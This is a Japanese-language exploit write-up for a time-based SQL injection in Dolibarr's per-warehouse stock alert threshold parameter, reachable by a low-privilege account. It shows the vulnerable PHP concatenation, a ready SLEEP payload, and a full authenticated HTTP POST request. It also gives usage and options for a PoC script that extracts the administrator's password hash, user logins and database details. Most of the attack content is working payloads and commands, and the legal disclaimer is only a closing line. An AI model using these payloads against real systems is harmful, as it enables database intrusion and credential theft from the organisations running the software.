
各倉庫の在庫アラート閾値(`seuil_stock_alerte`)を設定するアクションは、ユーザー制御の入力を受け取り、その後、適切な数値キャストやパラメータバインディングなしにSQLクエリへ組み込んでいます。 #dolibarr #exploit
seuil_stock_alerte パラメータを通じて製品在庫管理機能に影響を与えるSQLインジェクション。
以下でテストおよび確認済み:
seuil_stock_alerte
このパラメータは以下で受け入れられる:
/product/stock/product.php
addlimitstockwarehouse アクションを使用する。
このパラメータは数値変換なしで取得される:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
その後、直接的な文字列連結を通じてSQL文に到達する:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
値がクォートされていない数値コンテキストに挿入されるため、通常の数値の代わりにSQL式を指定できる。
ブール値/時間ベースの式で実行を実証するのに十分である:
(SELECT IF((1=1),SLEEP(15),0))
パラメータの例:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
リクエストが成功すると、HTTPレスポンスに約15秒の遅延が発生し、注入されたSQL式が評価されたことが確認される。
脆弱なアクションは、以下のような認証済みリクエストで到達できる:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
必要条件:
この問題は、以下の権限のみを持つ認証済みアカウントで再現された:
Product → Create (produit/creer)
権限 — 製品を作成できる低権限アカウント。
このSQLインジェクションにより以下が可能になる:
このシステムのデータベースレベルの制約により、直接的なOSコマンド実行は防止された。
付属のPoCスクリプト stock_sqli_poc.py はエクスプロイトプロセスを自動化する:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| オプション | デフォルト | 説明 |
|---|---|---|
--url | http://127.0.0.1:8088 | ターゲットのDolibarrインスタンスURL |
--proxy | http://127.0.0.1:8080 | HTTPプロキシ (Burpなど)。無効にするには空文字列を設定 |
--login | webeditor | 低権限アカウントのユーザー名 |
--password | WebEdit0r! | アカウントのパスワード |
--product-id | 1 | ターゲットとする製品ID |
--warehouse-id | 1 | ターゲットとする倉庫ID |
--delay | 1.0 | 時間ベース検出のためのSLEEP時間 (秒) |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | 窃取するSQL式 |
--length | 14 | 抽出する最大文字数 |
管理者パスワードハッシュを抽出:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
ユーザーを列挙:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
データベースバージョン:
--extract "VERSION()"
現在のデータベースユーザー:
--extract "USER()"
⚠️ 法的通知: このエクスプロイトは、明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。このPoCは教育および許可されたセキュリティテスト目的でのみ提供されています。